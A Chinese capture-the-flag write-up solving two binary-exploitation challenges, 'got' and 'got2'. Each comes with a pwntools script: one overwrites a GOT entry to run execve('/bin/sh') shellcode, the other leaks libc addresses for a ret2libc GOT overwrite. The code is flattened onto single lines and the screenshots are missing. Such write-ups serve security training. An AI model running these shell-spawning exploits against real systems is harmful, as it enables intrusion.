Pwn——First Blood
0x01 got
01 func函数:

fgets():
char *fgets(char *buf, int bufsize, FILE *stream);
参数:
*buf: 字符型指针,指向用来存储所得数据的地址。
bufsize: 整型数据,指明存储数据的大小。
*stream: 文件结构体指针,将要读取的文件流。(stdin:标准输入,指键盘输入)
02 栈空间分析:


03 检保护机制:

NX没开可以使用shellcode
寻找shellcode执行点

跟具函数的限制input:\n后的缓冲区大小为0x21
s的缓冲区大小为0x28
因此不能实现缓冲区溢出
正常溢出思路:
[shellcode][“AAAAAAAAAAAAAA”….][ret] ^------------------------------------------------|
04 漏洞:
如果scanf没加&的话,程序会默认从栈中读取4个字节的数据当做scanf取的地址
05 exp
from pwn import * import ctypes context(log_level="debug") p = process("./got") #p = remote('128.199.220.74', 10002) shellcode = '' shellcode += "\x31\xc0" shellcode += "\x50" shellcode += "\x68\x6e\x2f\x73\x68" shellcode += "\x68\x2f\x2f\x62\x69" shellcode += "\x89\xe3" shellcode += "\x50" shellcode += "\x53" shellcode += "\x89\xe1" shellcode += "\xb0\x0b" shellcode += "\xcd\x80"; exit_addr = 0x0804A018 p.recvuntil("Your buffer locate at ") shellcode_addr = int(p.recv(10),16) payload1 = shellcode+'\x00'+p32(0xCAFEBABE)+ p32(exit_addr) p.recvuntil("input:\n") p.sendline(payload1) p.recvuntil("\n") p.sendline(str(ctypes.c_int(shellcode_addr).value)) #scanf()以%d十进制读取,地址转换为十进制,%d的取值范围为0--0x7fffffff p.interactive()
0x02 got2
01 主函数:

02 栈空间:

03 保护机制:

04 key:
scanf覆盖got表+ret2lib
05 exp:
from pwn import * import ctypes
context(log_level = 'debug') p = process('./got2') elf = ELF('./libc.so.6.got2')
p.recvuntil('name?\n') p.sendline('/bin/sh\0') #got表覆盖的函数为free()此处传入参数s给system()---》system(/bin/sh) p.recvuntil('input again\n') p.sendline('/bin/sh\0') free_got = 0x0804a014 #通过IDA获得改值 p.recvuntil('far.\n') #调试发现传入参数的顺序并不按照IDA F5后的顺序 p.sendline(str(int(free_got))) #%d要求传入参数为int p.recvuntil('0x') free_addr = int(p.recv(8),16) #获取free()真实地址 print 'free = '+hex(free_addr) system_addr = free_addr - elf.symbols['free'] + elf.symbols['system'] #通过ret2lib原理获取system()地址 print 'system = '+hex(system_addr) p.sendline(str(ctypes.c_int(system_addr).value)) #将地址的值转换为int C语言下的%d的范围是从0x7FFFFFFF p.interactive()

浙公网安备 33010602011771号